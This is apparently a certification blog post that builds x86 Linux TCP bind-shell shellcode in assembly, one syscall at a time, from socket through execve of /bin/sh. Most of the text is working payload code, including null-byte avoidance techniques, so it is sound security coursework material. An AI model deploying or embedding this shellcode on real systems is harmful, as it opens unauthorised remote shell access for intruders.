SLAE A.1 - TCP Bind Shellcode

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1294

This first assignment is to create an original x86 Linux shellcode for a TCP bind shell. When invoked it will use Linux system calls to accept a TCP connection and provide an interactive /bin/sh shell. The shellcode can accomplish this by making the following calls in order:

  1. socket() - Obtain an AF_INET socket
  2. bind() - Bind to a particular TCP port - in this case we will bind to all available interfaces (IP addresses)
  3. listen() - Indicate that we want to receive connections on the bound port
  4. accept() - Wait for somebody to connect
  5. dup2() x3 - Replace stdin, stdout and stderr with the new connection’s file descriptor (fd) so input and output goes over the network
  6. execve() - Execute /bin/sh in place of the current code, inheriting the open file descriptors

The full source code is available on GitHub. In this post I will discuss each step separately.

Obtaining a socket

The socket() syscall lets us create an AF_INET socket. This will be returned to us as a file descriptor, an integer such as 3, depending on how many files are currently open. The manpage defines it like this:

int socket(int domain, int type, int protocol);

The manpage ip(7) further explains that a TCP socket should be created with these parameters:

tcp_socket = socket(AF_INET, SOCK_STREAM, 0);

I require the actual values of the AF_INET and SOCK_STREAM constants. With a bit of searching the constants can be located in the include files on my Kali Linux VM:

root@kali:/usr/include/i386-linux-gnu# egrep -ir "AF_INET|PF_INET|SOCK_STREAM"
bits/socket_type.h:  SOCK_STREAM = 1,		/* Sequenced, reliable, connection-based
bits/socket_type.h:#define SOCK_STREAM SOCK_STREAM
bits/socket.h:#define PF_INET		2	/* IP protocol family.  */
bits/socket.h:#define PF_INET6	10	/* IP version 6.  */
bits/socket.h:#define AF_INET		PF_INET
bits/socket.h:#define AF_INET6	PF_INET6

So AF_INET is the integer 2 and SOCK_STREAM is the integer 1.

I also need to know the syscall numbers. On my system accept4 is defined and accept is not—it is the same syscall, just with an extra parameter.

root@kali:/usr/include/i386-linux-gnu/asm# egrep "_socket |_accept |_bind |_listen |_accept4 |_dup2 |_execve " unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socket 359
#define __NR_bind 361
#define __NR_listen 363
#define __NR_accept4 364

With all these numbers on hand, I can define some appropriate constants for this first step.

    AF_INET		equ 2
    SOCK_STREAM 	equ 1
    SYS_SOCKET 	equ 359

This is the entry point of the shellcode so I don’t know what values already exist in the registers EAX, EBX, etc. I will set them to zero first using XOR instructions. EAX must contain the syscall number so I move SYS_SOCKET to AX, overwriting the bottom word of the register with the number.

The three integer parameters must be placed in EBX, ECX and EDX. AF_INET and SOCK_STREAM are <256 so they are assigned to BL and CL. EDX needs to be zero so it is XORed. These word and byte-sized registers are used to avoid creating null bytes in the resulting shellcode.

int 0x80 will trigger Linux’s syscall handler, which will create the socket, assign it a file descriptor and return that in EAX. Since EAX will be overwritten many times for other syscalls I copy the fd to EDI for safekeeping.

	; Obtain an AF_INET socket
	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	mov ax, SYS_SOCKET	; syscall
	mov bl, AF_INET		; domain
	mov cl, SOCK_STREAM	; type
	xor edx, edx		; protocol = 0
	int 0x80
	mov edi, eax		; Save socket fd in EDI

Binding to an address/port

The newly created socket can be used to bind to a port. The bind() syscall is defined as follows:

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Its parameters are the fd, a pointer to a sockaddr structure, and the size in memory of that structure. The structure is also defined in the bind manpage:

struct sockaddr {
    sa_family_t sa_family;
    char        sa_data[14];
}

What type exactly is sa_family_t? I located its definition in /usr/include/i386-linux-gnu/bits/sockaddr.h:

typedef unsigned short int sa_family_t;

A short int is 2 bytes in size. This means the total size of a struct sockaddr will be 16 bytes on this system.

How should the data be formatted? A more useful definition comes from the manpage ip(7).

struct sockaddr_in {
    sa_family_t    sin_family; /* address family: AF_INET */
    in_port_t      sin_port;   /* port in network byte order */
    struct in_addr sin_addr;   /* internet address */
};

/* Internet address. */
struct in_addr {
    uint32_t       s_addr;     /* address in network byte order */
};

So for this kind of socket, the sa_data will contain a port followed by an IP address. What is in_port_t? I located it in /usr/include/netinet/in.h:

typedef uint16_t in_port_t;

Putting it all together, the 16 byte struct sockaddr will look like this in memory:

^ lower addresses
0: AF_INET, least significant byte (system is little endian)
1: AF_INET, most significant byte
2: port, MSB (network byte order = big endian)
3: port, LSB
4: IP address, MSB
5: IP address
6: IP address
7: IP address, LSB (all zeroes)
8-15: zero padding
v higher addresses

For the IP address I will specify 0.0.0.0, which binds to all available interfaces. This is probably what we want for a shellcode. I want the port to be user configurable. I will define a constant LISTEN_PORT at compile time. The assembly will assume that it is a 16-bit number that has already been flipped to network byte order.

First, push the struct sockaddr onto the stack in reverse order. ESP will end up pointing at the beginning of the structure.

	push edx		; 4 bytes zero padding
	push edx	    	; 4 bytes zero padding
	push edx	    	; sin_addr = 0x00000000 = INADDR_ANY
	push word LISTEN_PORT	; sin_port
	push word AF_INET	; sin_family

Now I can set up the parameters for the bind syscall and run the syscall handler. EDI still contains the FD from the previous call to socket(). The stack pointer is currently pointing to our structure, so copy that into ECX. We know the size is 16 bytes so place that in DL directly.

	SYS_BIND 	equ 361

	mov ax, SYS_BIND	; syscall
	mov ebx, edi		; sockfd = created socket fd
	mov ecx, esp		; esp points to start of sockaddr
	mov dl, 16   		; addrlen = sizeof(struct sockaddr) = 16
	int 0x80

Listening on the socket

This will cause Linux to start accepting TCP connections on this port. It is defined:

int listen(int sockfd, int backlog);

The first parameter is the same socket fd from earlier, stored in EDI. Since we will only ever handle one connection the backlog can be safely set to zero.

	SYS_LISTEN	equ 363

	mov ax, SYS_LISTEN	; syscall
	mov ebx, edi		; sockfd = created socket fd
	xor ecx, ecx		; backlog = 0
	int 0x80 		; should place 0 in eax

listen() will return 0 on success, so eax should be cleared.

Accepting a connection

The definition of the accept4() system call on my machine is:

int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);

sockfd is the listening socket, which we have stored in EDI. addr/addrlen specify a struct that will be filled in with the remote address when somebody connects. Since we don’t need that information they may both be set to NULL. flags can also be 0.

The return value will be a new file descriptor for the client socket. This is the one that’s important for the bind shell. Since we are only trying to accept a single connection, we will overwrite the listening socket in EDI with this new value.

	mov ax, SYS_ACCEPT4    ; syscall
	mov ebx, edi           ; sockfd = created socket fd
	xor ecx, ecx           ; addr
	xor edx, edx           ; addrlen
	xor esi, esi           ; flags
	int 0x80
	mov edi, eax           ; retval is fd for the client connection

Redirecting stdin, stdout, stderr

When we exec the shell it will assume that fds 0, 1 and 2 are stdin, stdout and stderr respectively. If we replace all of those fds with our new TCP connection, the shell’s input and output will be forwarded to the remote user. This can be done with the dup2 syscall—it will duplicate an fd to the number of our choosing, replacing anything that was already there.

int dup2(int oldfd, int newfd);

oldfd came from the accept() call and is now stored in edi. We will call this three times, using 0, 1 and 2 as values for newfd.

    mov al, SYS_DUP2        ; syscall
    mov ebx, edi            ; socket
    xor ecx, ecx            ; STDIN
    int 0x80

    mov al, SYS_DUP2        ; syscall
    mov cl, 1               ; STDOUT
    int 0x80

    mov al, SYS_DUP2        ; syscall
    mov cl, 2               ; STDERR
    int 0x80

Spawning /bin/sh

The final step is to execute the shell. We will use the execve syscall for this:

int execve(const char *filename, char *const argv[], char *const envp[]);

filename must be a null-terminated path to the program to launch. This will be set to “/bin//sh” with the double slash because a length divisible by four makes it easy to push on the stack.

argv is a NULL-terminated array of pointers to command line arguments. The first argument should normally always be the program’s name. So this will be a pointer to 8 bytes of memory - the first 4 bytes are a pointer to “/bin//sh” and the second 4 bytes are NULL.

envp provides environment variables. We don’t need to add any so we can pass a pointer to NULL. For convenience we will point to the same NULL that is the second half of argp.

EDX is already known to contain 0x0 from when it was used as a parameter to accept(). Set up the stack in reverse order:

PTR to "/bin//sh"     <-- esp points here after everything pushed
NULL                  <-- esp + 4
"/bin"
"//sh"
NULL

In code:

    ; /bin//sh = 0x2f 0x62 0x69 0x6e 0x2f 0x2f 0x73 0x68
    push edx                ; null termination
    push dword 0x68732f2f   ; last half of string
    push dword 0x6e69622f   ; first half of string = filename
    push edx                ; null terminator of array = envp array
    lea ebx, [esp + 4]      ; Point to beginning of /bin//sh in ebx
    push ebx                ; After this, esp = start of argv array
    
    mov al, SYS_EXECVE      ; syscall
    ; ebx = filename is already set
    mov ecx, esp            ; argv
    lea edx, [ecx + 4]      ; envp = &argv[1]
    int 0x80

Demonstration

The shellcode is built into raw opcodes and a test C program, using a build script that includes the desired listening port. See the GitHub repo for details.

It compiles and builds:

After running the test wrapper we can see that it is listening on port 4444:

Now a remote user can connect and use the shell.

Once the remote user exits the shell, the shellcode ends and the wrapper terminates.